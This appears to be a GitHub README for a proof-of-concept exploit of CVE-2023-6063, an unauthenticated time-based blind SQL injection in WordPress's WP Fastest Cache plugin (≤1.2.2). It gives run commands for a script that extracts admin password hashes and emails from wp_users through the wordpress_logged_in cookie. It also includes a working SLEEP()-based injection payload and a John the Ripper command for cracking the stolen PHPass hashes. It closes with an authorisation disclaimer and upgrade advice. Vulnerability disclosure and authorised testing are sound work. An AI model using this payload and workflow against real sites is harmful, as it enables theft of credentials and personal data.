incommatose/cve-2023-6063-pocA Proof on Concept for CVE-2023-6063, a time-based blind SQL injection vulnerability in WP Fastest Cache ≤1.2.2.
A Proof on Concept for CVE-2023-6063, a time-based blind SQL injection vulnerability in WP Fastest Cache ≤1.2.2. Extracts hashed passwords (user_pass) and emails (user_email) from the wp_users table by abusing the wordpress_logged_in cookie.
This script extracts:
Install the dependencies (if aren't installed):
-red){kind=icon}
pip install -r requirements.txt
Basic usage:
python3 poc.py -u https://vulnerable-website.com --username admin --delay 5
Full options:
-h, --help show this help message and exit
-u URL, --url URL Full URL to Wordpress for testing CVE-2023-6063
--username USERNAME Define a user to extract its hashed pass
-d DELAY, --delay DELAY
Time for wait web response default 5, minimum 2
-H HASH, --hash HASH Hash to verify against wp_users table, if the hash contains specials characters, please use single quotes -> '<hash>'
--domain DOMAIN Name of the domain for email validation
-c COOKIE, --cookie COOKIE
Specify a cookie name if it's different on your context
--status-code STATUS_CODE
Use a specific positive status code, default 200
--debug More verbosity
--just-hash Just extract hashed password
--just-email Just extract email value for a user
This is a demo for the admin user
https://github.com/user-attachments/assets/21ea643d-3b11-401f-813f-b85abdb05890
When hashes passwords are leaked, use john or hashcat for decrypt it with PHPass algorithm if the password is vulnerable.
John example:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=phpass
The WP Fastest Cache plugin (≤1.2.2) for WordPress is vulnerable to an unauthenticated blind SQL injection via the wordpress_logged_in cookie. Attackers can exploit this flaw to extract sensitive data (e.g., password hashes, email addresses) from the wp_users table by leveraging time-based delays (SLEEP()) in SQL queries.
" AND (IF((SELECT user_pass FROM wp_users WHERE user_login="admin") LIKE 'a%', SLEEP(5), 0))-- -
🚨 Disclaimer: Use this information only for ethical security testing with proper authorization. Unauthorized exploitation is illegal.
Upgrade WP Fastest Cache to version >1.2.2.